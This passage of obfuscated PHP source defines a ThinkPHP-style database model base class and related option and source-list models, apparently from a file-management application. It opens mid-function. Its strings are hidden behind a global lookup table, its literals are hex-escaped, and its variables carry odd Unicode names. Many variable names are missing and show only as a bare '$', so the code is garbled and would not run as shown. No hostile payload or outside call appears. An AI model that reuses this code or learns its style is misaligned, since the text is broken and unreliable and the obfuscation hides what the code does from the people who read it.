$ތ =& $_SERVER[ϋ]; $ѐѧ = func_get_args(); $嚲 = array_shift($ѐѧ); $ = $嚲; if (is_array($嚲)) { $ = $嚲[1]; $嚲 = $嚲[0]; } $옅 = count($ѐѧ) - 1; if (isset($ѐѧ[$옅]) && $ѐѧ[$옅] === $嚲) { think_exception(__CLASS__ . $ތ[4] . $嚲 . think_lang($ތ[317])); return; } $ѐѧ[] = $嚲; if (method_exists($this, $ތ[318])) { $ֿ = call_user_func_array(array($this, $ތ[319]), array($, $ѐѧ)); if (!is_null($ֿ) && $ֿ !== !1) { return $ֿ; } } $Ȱ = call_user_func_array(array($this, $嚲), $ѐѧ); if (method_exists($this, $ތ[320])) { $ֿ = call_user_func_array(array($this, $ތ[321]), array($, $ѐѧ, $Ȱ)); if ($ֿ) { return $ֿ; } } return $Ȱ; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[ϋ]; if (!empty($this->fields)) { foreach ($ as $ֵܧ => $) { if (is_array($this->fields) && !in_array($ֵܧ, $this->fields, !0)) { unset($[$ֵܧ]); } elseif (is_scalar($)) { $this->_parseType($, $ֵܧ); } } } if (!empty($this->options[$[322]])) { $ = array_map($this->options[$[322]], $); unset($this->options[$[322]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$桎) { } public function add($Ͽ = '', $ = array(), $ = false) { if (empty($Ͽ)) { if (!empty($this->data)) { $Ͽ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ϋ][323]); return !1; } } $ = $this->_parseOptions($); $Ͽ = $this->_facade($Ͽ); if (!1 === $this->_beforeInsert($Ͽ, $)) { return !1; } $ɛ = $this->db->insert($Ͽ, $, $); if (!1 !== $ɛ) { $ؑ = $this->getLastInsID(); if ($ؑ) { $Ͽ[$this->getPk()] = $ؑ; $this->_after_insert($Ͽ, $); return $ؑ; } $this->_after_insert($Ͽ, $); } return $ɛ; } protected function _beforeInsert(&$, $ݫ) { } protected function _after_insert($, $) { } public function addAll($, $Ш = array(), $ޮ = false) { $ڶ =& $_SERVER[ϋ]; if (empty($)) { $this->error = think_lang($ڶ[323]); return !1; } $Ш = $this->_parseOptions($Ш); foreach ($ as $ѷ => $ӂ) { $[$ѷ] = $this->_facade($ӂ); } if (method_exists($this->db, $ڶ[324])) { $燼 = $this->db->insertAll($, $Ш, $ޮ); } else { $this->startTrans(); foreach ($ as $ѷ => $ӂ) { $燼 = $this->db->insert($ӂ, $Ш, $ޮ); } $this->commit(); } if (!1 !== $燼) { $ϸ = $this->getLastInsID(); if ($ϸ) { return $ϸ; } } return $燼; } public function selectAdd($ = '', $ = '', $ѕ疵 = array()) { $ʜ =& $_SERVER[ϋ]; $ѕ疵 = $this->_parseOptions($ѕ疵); if (!1 === ($ = $this->db->selectInsert($ ? $ : $ѕ疵[$ʜ[325]], $ ? $ : $this->getTableName(), $ѕ疵))) { $this->error = think_lang($ʜ[326]); return !1; } else { return $; } } public function save($Ѡ = '', $ = array()) { $ܦ =& $_SERVER[ϋ]; if (empty($Ѡ)) { if (!empty($this->data)) { $Ѡ = $this->data; $this->data = array(); } else { $this->error = think_lang($ܦ[323]); return !1; } } $Ѡ = $this->_facade($Ѡ); $ = $this->_parseOptions($); $ĵ = $this->getPk(); if (!isset($[$ܦ[327]])) { if (isset($Ѡ[$ĵ])) { $[$ĵ] = $Ѡ[$ĵ]; $[$ܦ[327]] = $; unset($Ѡ[$ĵ]); } else { $this->error = think_lang($ܦ[326]); return !1; } } if (is_array($[$ܦ[327]]) && isset($[$ܦ[327]][$ĵ])) { $ۻ = $[$ܦ[327]][$ĵ]; } if (!1 === $this->_beforeUpdate($Ѡ, $)) { return !1; } $옉 = $this->db->update($Ѡ, $); if (!1 !== $옉) { if (isset($ۻ)) { $Ѡ[$ĵ] = $ۻ; } $this->_afterUpdate($Ѡ, $); } return $옉; } protected function _beforeUpdate(&$, $̛) { } protected function _afterUpdate($, $ѯ) { } public function delete($ޒ = array()) { $ =& $_SERVER[ϋ]; if (empty($ޒ) && empty($this->options[$[327]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $û = $this->getPk(); if (is_numeric($ޒ) || is_string($ޒ)) { if (strpos($ޒ, $[50])) { $㔩[$û] = array($[328], $ޒ); } else { $㔩[$û] = $ޒ; } $this->options[$[327]] = $㔩; } $ޒ = $this->_parseOptions(); if (is_array($ޒ[$[327]]) && isset($ޒ[$[327]][$û])) { $۫ = $ޒ[$[327]][$û]; } $Я = $this->db->delete($ޒ); if (!1 !== $Я) { $ކ = array(); if (isset($۫)) { $ކ[$û] = $۫; } $this->_after_delete($ކ, $ޒ); } return $Я; } protected function _after_delete($, $ʿ) { } public function select($ = array()) { $ր =& $_SERVER[ϋ]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $ր[50])) { $Ѕ[$] = array($ր[328], $); } else { $Ѕ[$] = $; } $this->options[$ր[327]] = $Ѕ; } elseif (!1 === $) { $ = $this->_parseOptions(); return $ր[329] . $this->db->buildSelectSql($) . $ր[330]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $ԗŮ) { } public function buildSql($䯵Ɏ = array()) { $ =& $_SERVER[ϋ]; $䯵Ɏ = $this->_parseOptions($䯵Ɏ); return $[329] . $this->db->buildSelectSql($䯵Ɏ) . $[330]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ =& $_SERVER[ϋ]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$[331]])) { $[$[331]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$[332]])) { $[$[331]] .= $[53] . $[$[332]]; } $[$[333]] = $this->name; if (isset($[$[327]]) && is_array($[$[327]]) && !empty($) && !isset($[$[334]]) && !isset($[$[331]])) { foreach ($[$[327]] as $Ɂݞ => $) { $Ɂݞ = trim($Ɂݞ); if (in_array($Ɂݞ, $, !0)) { if (is_scalar($)) { $this->_parseType($[$[327]], $Ɂݞ); } } elseif (!is_numeric($Ɂݞ) && $[11] != substr($Ɂݞ, 0, 1) && !1 === strpos($Ɂݞ, $[10]) && !1 === strpos($Ɂݞ, $[312]) && !1 === strpos($Ɂݞ, $[205]) && !1 === strpos($Ɂݞ, $[335])) { unset($[$[327]][$Ɂݞ]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$؋) { } protected function _parseType(&$̍, $) { $ޘ߉ =& $_SERVER[ϋ]; if (empty($this->options[$ޘ߉[336]][$ޘ߉[4] . $])) { $ƞ = strtolower($this->fields[$ޘ߉[304]][$]); if (!1 !== strpos($ƞ, $ޘ߉[337])) { } elseif (!1 === strpos($ƞ, $ޘ߉[338]) && !1 !== strpos($ƞ, $ޘ߉[339])) { $̍[$] = intval($̍[$]); } elseif (!1 !== strpos($ƞ, $ޘ߉[340]) || !1 !== strpos($ƞ, $ޘ߉[341])) { $̍[$] = floatval($̍[$]); } elseif (!1 !== strpos($ƞ, $ޘ߉[342])) { $̍[$] = (bool) $̍[$]; } } } public function find($͞쇂 = array()) { $ =& $_SERVER[ϋ]; if (is_numeric($͞쇂) || is_string($͞쇂)) { $ۛ[$this->getPk()] = intval($͞쇂); $this->options[$[327]] = $ۛ; } $this->options[$[343]] = 1; $͞쇂 = $this->_parseOptions(); $뻆 = $this->db->select($͞쇂); if (!1 === $뻆) { return !1; } if (empty($뻆)) { return null; } $this->data = $뻆[0]; $this->_afterFind($this->data, $͞쇂); if (!empty($this->options[$[344]])) { return $this->returnResult($this->data, $this->options[$[344]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $𡶿 = '') { $驵 =& $_SERVER[ϋ]; if ($𡶿) { if (is_callable($𡶿)) { return call_user_func($𡶿, $); } switch (strtolower($𡶿)) { case $驵[345]: return json_encode($); case $驵[346]: return xml_encode($); } } return $; } public function parseFieldsMap($, $ǩ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ɋ => $Շ) { if ($ǩ == 1) { if (isset($[$Շ])) { $[$ɋ] = $[$Շ]; unset($[$Շ]); } } else { if (isset($[$ɋ])) { $[$Շ] = $[$ɋ]; unset($[$ɋ]); } } } } return $; } public function setField($, $믄 = '') { if (is_array($)) { $ꩤ = $; } else { $ꩤ[$] = $믄; } return $this->save($ꩤ); } public function setAdd($݃, $ի = 1) { $ =& $_SERVER[ϋ]; $ = $݃ . $[347] . $ի; if ($ի < 0) { $ = $݃ . $ի; } return $this->setField($݃, array($[348], $)); } public function getField($ƍ, $׆ = null) { $԰ =& $_SERVER[ϋ]; $˵φ[$԰[325]] = $ƍ; $˵φ = $this->_parseOptions($˵φ); $ƍ = trim($ƍ); if (strpos($ƍ, $԰[50])) { if (!isset($˵φ[$԰[343]])) { $˵φ[$԰[343]] = is_numeric($׆) ? $׆ : $԰[12]; } $ = $this->db->select($˵φ); if (!empty($)) { $ﰎ = explode($԰[50], $ƍ); $ƍ = array_keys($[0]); $ = array_shift($ƍ); $ = array_shift($ƍ); $ş = array(); $ = count($ﰎ); foreach ($ as $ƒ) { $ = $ƒ[$]; if (2 == $) { $ş[$] = $ƒ[$]; } else { $ş[$] = is_string($׆) ? implode($׆, $ƒ) : $ƒ; } } return $ş; } } else { if (!0 !== $׆) { $˵φ[$԰[343]] = is_numeric($׆) ? $׆ : 1; } if ($׆ === $԰[307]) { unset($˵φ[$԰[343]]); } $ƒ = $this->db->select($˵φ); if (!empty($ƒ)) { if ($׆ === $԰[307]) { return reset($ƒ[0]); } if (!0 !== $׆ && 1 == $˵φ[$԰[343]]) { return reset($ƒ[0]); } foreach ($ƒ as $ˬ) { $[] = $ˬ[$ƍ]; } return $; } } return null; } public function create($숢׾ = '', $ȅ = '') { $ڢ =& $_SERVER[ϋ]; if (empty($숢׾)) { $숢׾ = $_POST; } elseif (is_object($숢׾)) { $숢׾ = get_object_vars($숢׾); } if (empty($숢׾) || !is_array($숢׾)) { $this->error = think_lang($ڢ[323]); return !1; } $숢׾ = $this->parseFieldsMap($숢׾, 0); $ȅ = $ȅ ? $ȅ : (!empty($숢׾[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ڢ[325]])) { $ = $this->options[$ڢ[325]]; unset($this->options[$ڢ[325]]); } elseif ($ȅ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ȅ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($ڢ[50], $); } if (think_config($ڢ[349])) { $[] = think_config($ڢ[350]); } foreach ($숢׾ as $ => $) { if (!in_array($, $)) { unset($숢׾[$]); } } } if (!$this->autoValidation($숢׾, $ȅ)) { return !1; } if (!$this->autoCheckToken($숢׾)) { $this->error = think_lang($ڢ[351]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($숢׾ as $ => $) { if (!in_array($, $)) { unset($숢׾[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $숢׾[$] = stripslashes($); } } } $this->autoOperation($숢׾, $ȅ); $this->data = $숢׾; return $숢׾; } public function autoCheckToken($ʁ) { $Ҵ =& $_SERVER[ϋ]; if (isset($this->options[$Ҵ[352]]) && !$this->options[$Ҵ[352]]) { return !0; } if (think_config($Ҵ[349])) { $墘 = think_config($Ҵ[350]); if (!isset($ʁ[$墘]) || Session::get($墘)) { return !1; } list($گ쬛, $) = explode($Ҵ[11], $ʁ[$墘]); if ($ && Session::get($墘 . $Ҵ[10] . $گ쬛) === $) { Session::remove($墘 . $Ҵ[10] . $گ쬛); return !0; } if (think_config($Ҵ[353])) { Session::remove($墘 . $Ҵ[10] . $گ쬛); } return !1; } return !0; } public function regex($ו, $) { $꼵 =& $_SERVER[ϋ]; $ؕ = array($꼵[354] => $꼵[355], $꼵[356] => $꼵[357], $꼵[358] => $꼵[359], $꼵[360] => $꼵[361], $꼵[362] => $꼵[363], $꼵[364] => $꼵[365], $꼵[366] => $꼵[367], $꼵[341] => $꼵[368], $꼵[369] => $꼵[370]); if (isset($ؕ[strtolower($)])) { $ = $ؕ[strtolower($)]; } return preg_match($, $ו) === 1; } private function autoOperation(&$ۓ, $) { $‹ =& $_SERVER[ϋ]; if (!empty($this->options[$‹[371]])) { $džҁ = $this->options[$‹[371]]; unset($this->options[$‹[371]]); } elseif (!empty($this->_auto)) { $džҁ = $this->_auto; } if (isset($džҁ)) { foreach ($džҁ as $尢) { if (empty($尢[2])) { $尢[2] = THINK_MODEL_INSERT; } if ($ == $尢[2] || $尢[2] == THINK_MODEL_BOTH) { switch (trim($尢[3])) { case $‹[372]: case $‹[373]: $Ԍͳ = isset($尢[4]) ? (array) $尢[4] : array(); if (isset($ۓ[$尢[0]])) { array_unshift($Ԍͳ, $ۓ[$尢[0]]); } if ($‹[372] == $尢[3]) { $ۓ[$尢[0]] = call_user_func_array($尢[1], $Ԍͳ); } else { $ۓ[$尢[0]] = call_user_func_array(array(&$this, $尢[1]), $Ԍͳ); } break; case $‹[325]: $ۓ[$尢[0]] = $ۓ[$尢[1]]; break; case $‹[374]: if ($‹[12] === $ۓ[$尢[0]]) { unset($ۓ[$尢[0]]); } break; case $‹[375]: default: $ۓ[$尢[0]] = $尢[1]; } if (!1 === $ۓ[$尢[0]]) { unset($ۓ[$尢[0]]); } } } } return $ۓ; } protected function autoValidation($, $Ǘڄ) { $ք =& $_SERVER[ϋ]; if (!empty($this->options[$ք[376]])) { $ = $this->options[$ք[376]]; unset($this->options[$ք[376]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $޻ => $ɟ) { if (empty($ɟ[5]) || $ɟ[5] == THINK_MODEL_BOTH || $ɟ[5] == $Ǘڄ) { if (0 == strpos($ɟ[2], $ք[377]) && strpos($ɟ[2], $ք[378])) { $ɟ[2] = think_lang(substr($ɟ[2], 2, -1)); } $ɟ[3] = isset($ɟ[3]) ? $ɟ[3] : THINK_EXISTS_VALIDATE; $ɟ[4] = isset($ɟ[4]) ? $ɟ[4] : $ք[379]; switch ($ɟ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $ɟ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ք[12] != trim($[$ɟ[0]])) { if (!1 === $this->_validationField($, $ɟ)) { return !1; } } break; default: if (isset($[$ɟ[0]])) { if (!1 === $this->_validationField($, $ɟ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($硔, $ΑĨ) { if (!1 === $this->_validationFieldItem($硔, $ΑĨ)) { if ($this->patchValidate) { $this->error[$ΑĨ[0]] = $ΑĨ[2]; } else { $this->error = $ΑĨ[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ﷹ =& $_SERVER[ϋ]; switch (strtolower(trim($[4]))) { case $ﷹ[372]: case $ﷹ[373]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $ﷹ[50])) { $[0] = explode($ﷹ[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $哴) { $ž[$哴] = $[$哴]; } array_unshift($, $ž); } else { array_unshift($, $[$[0]]); } if ($ﷹ[372] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $ﷹ[380]: return $[$[0]] == $[$[1]]; case $ﷹ[381]: if (is_string($[0]) && strpos($[0], $ﷹ[50])) { $[0] = explode($ﷹ[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $哴) { $[$哴] = $[$哴]; } } else { $[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($ﷹ[382], $[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($񵘵, $, $ = "\162\x65\147\x65\x78") { $˜ =& $_SERVER[ϋ]; $ = strtolower(trim($)); switch ($) { case $˜[7]: case $˜[383]: $Щ֝ = is_array($) ? $ : explode($˜[50], $); return $ == $˜[7] ? in_array($񵘵, $Щ֝) : !in_array($񵘵, $Щ֝); case $˜[384]: case $˜[385]: if (is_array($)) { $ = $[0]; $ʽ = $[1]; } else { list($, $ʽ) = explode($˜[50], $); } return $ == $˜[384] ? $񵘵 >= $ && $񵘵 <= $ʽ : $񵘵 < $ || $񵘵 > $ʽ; case $˜[386]: case $˜[387]: return $ == $˜[386] ? $񵘵 == $ : $񵘵 != $; case $˜[388]: $ = mb_strlen($񵘵, $˜[389]); if (strpos($, $˜[50])) { list($, $ʽ) = explode($˜[50], $); return $ >= $ && $ <= $ʽ; } else { return $ == $; } case $˜[390]: list($ʚ׌, $ٺ) = explode($˜[50], $); if (!is_numeric($ʚ׌)) { $ʚ׌ = strtotime($ʚ׌); } if (!is_numeric($ٺ)) { $ٺ = strtotime($ٺ); } return NOW_TIME >= $ʚ׌ && NOW_TIME <= $ٺ; case $˜[391]: return in_array(get_client_ip(), explode($˜[50], $)); case $˜[392]: return !in_array(get_client_ip(), explode($˜[50], $)); case $˜[379]: default: return $this->regex($񵘵, $); } } public function query($٘Ā, $ϐ = false) { $ =& $_SERVER[ϋ]; if (!is_bool($ϐ) && !is_array($ϐ)) { $ϐ = func_get_args(); array_shift($ϐ); } $٘Ā = str_replace(array($[253], $[393]), $[53], $٘Ā); $٘Ā = $this->parseSql($٘Ā, $ϐ); return $this->db->query($٘Ā); } public function execute($, $̓ = false) { if (!is_bool($̓) && !is_array($̓)) { $̓ = func_get_args(); array_shift($̓); } $ = $this->parseSql($, $̓); return $this->db->execute($); } protected function parseSql($́, $) { $ =& $_SERVER[ϋ]; if (!0 === $) { $ = $this->_parseOptions(); $́ = $this->db->parseSql($́, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[394]), $); $́ = vsprintf($́, $); } else { $́ = strtr($́, array($[395] => $this->getTableName(), $[396] => think_config($[296]))); } $this->db->setModel($this->name); return $́; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[ϋ]; if ($[12] === $ && $this->db) { return $this->db; } static $̘ = array(); static $ˁ = array(); if (!isset($ˁ[$]) || isset($ˁ[$]) && $ && $̘[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $ = think_guid($); $ˁ[$] = Db::getInstance($); } elseif (NULL === $) { $ˁ[$]->close(); unset($ˁ[$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ۆ => $թߖ) { $this->setProperty($ۆ, $թߖ); } } $̘[$] = $; $this->db = $ˁ[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[ϋ][397]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $쪘 =& $_SERVER[ϋ]; if (empty($this->trueTableName)) { $Մ = !empty($this->tablePrefix) ? $this->tablePrefix : $쪘[12]; if (!empty($this->tableName)) { $Մ .= $this->tableName; } else { $Մ .= think_parse_name($this->name); } $this->trueTableName = strtolower($Մ); } return (!empty($this->dbName) ? $this->dbName . $쪘[10] : $쪘[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[ϋ]; return isset($this->fields[$[303]]) ? $this->fields[$[303]] : $this->pk; } public function getDbFields() { $Ә =& $_SERVER[ϋ]; if (isset($this->options[$Ә[331]])) { $琦О = $this->db->getFields($this->options[$Ә[331]]); return $琦О ? array_keys($琦О) : !1; } if ($this->fields) { $琦О = $this->fields; unset($琦О[$Ә[302]], $琦О[$Ә[303]], $琦О[$Ә[304]], $琦О[$Ә[301]]); return $琦О; } return !1; } public function data($߶ = '') { $ɟ =& $_SERVER[ϋ]; if ($ɟ[12] === $߶ && !empty($this->data)) { return $this->data; } if (is_object($߶)) { $߶ = get_object_vars($߶); } elseif (is_string($߶)) { parse_str($߶, $߶); } elseif (!is_array($߶)) { think_exception(think_lang($ɟ[323])); } $this->data = $߶; return $this; } public function join($) { $ũ =& $_SERVER[ϋ]; if (is_array($)) { $this->options[$ũ[334]] = $; } elseif (!empty($)) { $this->options[$ũ[334]][] = $; } return $this; } public function union($鐣؋, $Ư = false) { $ =& $_SERVER[ϋ]; if (empty($鐣؋)) { return $this; } if ($Ư) { $this->options[$[398]][$[399]] = !0; } if (is_object($鐣؋)) { $鐣؋ = get_object_vars($鐣؋); } if (is_string($鐣؋)) { $ó = $鐣؋; } elseif (is_array($鐣؋)) { if (isset($鐣؋[0])) { $this->options[$[398]] = array_merge($this->options[$[398]], $鐣؋); return $this; } else { $ó = $鐣؋; } } else { think_exception(think_lang($[323])); } $this->options[$[398]][] = $ó; return $this; } public function cache($ = true, $ݳĖ = null, $ = '') { $ =& $_SERVER[ϋ]; if (!1 !== $) { $this->options[$[400]] = array($[97] => $, $[390] => $ݳĖ, $[33] => $); } return $this; } public function field($ʟ, $ = false) { $ =& $_SERVER[ϋ]; if (!0 === $ʟ) { $ = $this->getDbFields(); $ʟ = $ ? $ : $[211]; } elseif ($) { if (is_string($ʟ)) { $ʟ = explode($[50], $ʟ); } $ = $this->getDbFields(); $ʟ = $ ? array_diff($, $ʟ) : $ʟ; } $this->options[$[325]] = $ʟ; return $this; } public function scope($ = '', $ċ = NULL) { $ =& $_SERVER[ϋ]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explode($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($ċ) && is_array($ċ)) { $ = array_merge($, $ċ); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($ĮΫ, $硹 = null) { $ =& $_SERVER[ϋ]; if (!is_null($硹) && is_string($ĮΫ)) { if (!is_array($硹)) { $硹 = func_get_args(); array_shift($硹); } $硹 = array_map(array($this->db, $[394]), $硹); $ĮΫ = vsprintf($ĮΫ, $硹); } elseif (is_object($ĮΫ)) { $ĮΫ = get_object_vars($ĮΫ); } elseif (is_array($ĮΫ)) { foreach ($ĮΫ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[401]) === 0) { continue; } think_trace($[402], $[12], $[49]); die; } } } if (is_string($ĮΫ) && $[12] != $ĮΫ) { $ÏԪ = array(); $ÏԪ[$[403]] = $ĮΫ; $ĮΫ = $ÏԪ; } if (isset($this->options[$[327]])) { $this->options[$[327]] = array_merge($this->options[$[327]], $ĮΫ); } else { $this->options[$[327]] = $ĮΫ; } return $this; } public function limit($ԟ, $ = null) { $ꊼ =& $_SERVER[ϋ]; $this->options[$ꊼ[343]] = is_null($) ? $ԟ : $ԟ . $ꊼ[50] . $; return $this; } public function page($߭, $ߵ = null) { $ىݭ =& $_SERVER[ϋ]; $this->options[$ىݭ[404]] = is_null($ߵ) ? $߭ : $߭ . $ىݭ[50] . $ߵ; return $this; } public function comment($ܢ) { $this->options[$_SERVER[ϋ][405]] = $ܢ; return $this; } public function setProperty($, $ش) { if (property_exists($this, $)) { $this->{$} = $ش; } return $this; } } $_file = $_SERVER[$_SERVER[ϋ][406]]; $_size = $_SERVER[ϋ][407]; goto cȃ; Dߓ: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($í = false, $䬘 = '', $ = false) { $Ų =& $_SERVER[ϋ]; $Š = $this->cacheGet($䬘); $ = $this->optionDefault($䬘); $ = is_array($) ? $ : array(); if (is_array($Š)) { $Š = array_merge($, $Š); return $í ? isset($Š[$í]) ? $Š[$í] : null : $Š; } $ = $this->filterWhere(array($Ų[33] => $䬘)); $Š = $this->where($)->select(); $Š = array_to_keyvalue($Š, $Ų[97], $Ų[434]); foreach ($Š as $Ǩ => $欜) { if ($ || in_array($Ǩ, $this->jsonField)) { $Š[$Ǩ] = json_decode($欜, !0); } } $this->cacheSet($䬘, $Š); $Š = array_merge($, $Š); return $í ? $Š[$í] : $Š; } public function set($, $՘ = false, $ = '') { $ڳ =& $_SERVER[ϋ]; $this->cacheRemove($); $ᓋ = array(); $ = is_array($) ? $ : array($ => $՘); foreach ($ as $Ջ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $ڳ[4] . $); $ = self::textEncode($); $ = array($ڳ[33] => $, $ڳ[97] => $Ջ, $ڳ[434] => $); $ᓋ[] = $this->filterWhere($); } if (!$ᓋ) { return !0; } $ʄ = $this->cacheKey($ڳ[460]); CacheLock::lock($ʄ); $ = $this->addAll($ᓋ, array(), !0); CacheLock::unlock($ʄ); return $; } protected function optionDefault($Ѯ̰ = '') { return !1; } public function setDeep($, $؁ = false, $Ϲ = '') { $Ô = explode($_SERVER[ϋ][10], $); $ċ = $this->get(); array_set_value($ċ, $, $؁); $this->set($Ô[0], $ċ[$Ô[0]], $Ϲ); } public function remove($ܡ, $ʉ = '') { $ =& $_SERVER[ϋ]; $this->cacheRemove($ʉ); $Ԝ = $this->filterWhere(array($[97] => $ܡ, $[33] => $ʉ)); if (is_null($ܡ)) { unset($Ԝ[$[97]]); } return $this->where($Ԝ)->delete(); } public function cacheSet($Ă, $ׅ = false) { return Cache::set($this->cacheKey($Ă), $ׅ); } public function cacheGet($̀) { return Cache::get($this->cacheKey($̀)); } public function cacheRemove($Є) { return Cache::remove($this->cacheKey($Є)); } protected function filterWhere($Ȟ) { return $Ȟ; } protected function cacheKey($橨) { return $橨; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\x75\162\143\145"; protected $tableMeta = array("\164\141\142\x6c\x65\116\141\155\x65" => "\x69\157\137\163\157\165\162\x63\x65\x5f\x6d\145\164\141", "\155\x65\164\141\106\x69\145\x6c\144" => "\163\157\165\x72\x63\145\111\104"); protected $dataAuto = array(array("\x6d\157\x64\x69\x66\x79\x54\x69\155\145", "\164\x69\155\x65", "\x69\156\163\145\162\164", "\x66\x75\156\x63\x74\151\157\156"), array("\143\162\145\141\x74\x65\x54\x69\155\145", "\x74\151\x6d\x65", "\x69\156\x73\x65\162\x74", "\146\165\x6e\x63\x74\x69\157\x6e"), array("\x76\x69\x65\x77\124\151\155\x65", "\164\151\155\x65", "\151\x6e\163\145\162\x74", "\x66\165\156\143\x74\151\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[ϋ][461] => $)); } public function typeName($) { static $Ս = array(self::TYPE_SYSTEM => "\163\171\x73\164\x65\x6d", self::TYPE_USER => "\165\163\x65\162", self::TYPE_GROUP => "\147\162\x6f\165\160"); return $Ս[$ . $_SERVER[ϋ][12]]; } public function sourceListInfo($Ƥ, $ = false) { $ʡ =& $_SERVER[ϋ]; $Ƥ = $Ƥ ? $Ƥ : array(); $Ƥ = array_filter(array_unique($Ƥ)); if (!$Ƥ) { return array(); } $ = $this->where(array($ʡ[184] => array($ʡ[7], $Ƥ)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $ʡ[184]); } public function pathInfoFilter(&$׿) { $𙾐 =& $_SERVER[ϋ]; static $֏ = false; static $Dž = false; static $ = false; if (!$֏) { $ = $𙾐[462]; $ .= $𙾐[463]; $ .= $𙾐[464]; $μ = $𙾐[465]; $욚 = explode($𙾐[50], $μ); $֏ = explode($𙾐[50], $); $Dž = array(); foreach ($֏ as $) { if (in_array($, $욚)) { continue; } $Dž[] = $; } $ = explode($𙾐[50], $𙾐[466]); } foreach ($ as $’) { if (isset($׿[$’])) { $׿[$’] = intval($׿[$’]); } } $׿[$𙾐[87]] = $𙾐[467] . $׿[$𙾐[184]] . $𙾐[468]; $׿[$𙾐[33]] = $׿[$𙾐[469]] == 1 ? $𙾐[78] : $𙾐[221]; $׿[$𙾐[181]] = $this->typeName($׿[$𙾐[181]]); if ($׿[$𙾐[469]] != 1) { $׿[$𙾐[178]] = $׿[$𙾐[470]]; unset($׿[$𙾐[470]]); } $Ρ = $֏; if (isset($׿[$𙾐[471]]) && $׿[$𙾐[471]][$𙾐[472]] == -1) { $Ρ = $Dž; } $׿ = array_field_key($׿, $Ρ); return $׿; } public function listUserFav() { $҉ =& $_SERVER[ϋ]; $׊֥ = Model($҉[473])->listData(); $ԇ = array_filter_by_field($׊֥, $҉[33], $҉[474]); $ԇ = array_to_keyvalue($ԇ, $҉[12], $҉[87]); if ($ԇ) { $ = $this->listSource(array($҉[475] => array($҉[476], $ԇ))); } $ = array_to_keyvalue($[$҉[429]], $҉[184]); foreach ($׊֥ as &$Е) { $Е = array($҉[477] => $Е[$҉[459]], $҉[478] => $Е[$҉[32]], $҉[479] => $Е[$҉[87]], $҉[480] => $Е[$҉[33]], $҉[481] => $Е[$҉[222]], $҉[482] => $Е[$҉[88]]); if ($Е[$҉[33]] == $҉[474] && $[$Е[$҉[87]]]) { $Е[$҉[90]] = $[$Е[$҉[87]]]; } } unset($Е); return $׊֥; } public function listUserTag($ɇ) { 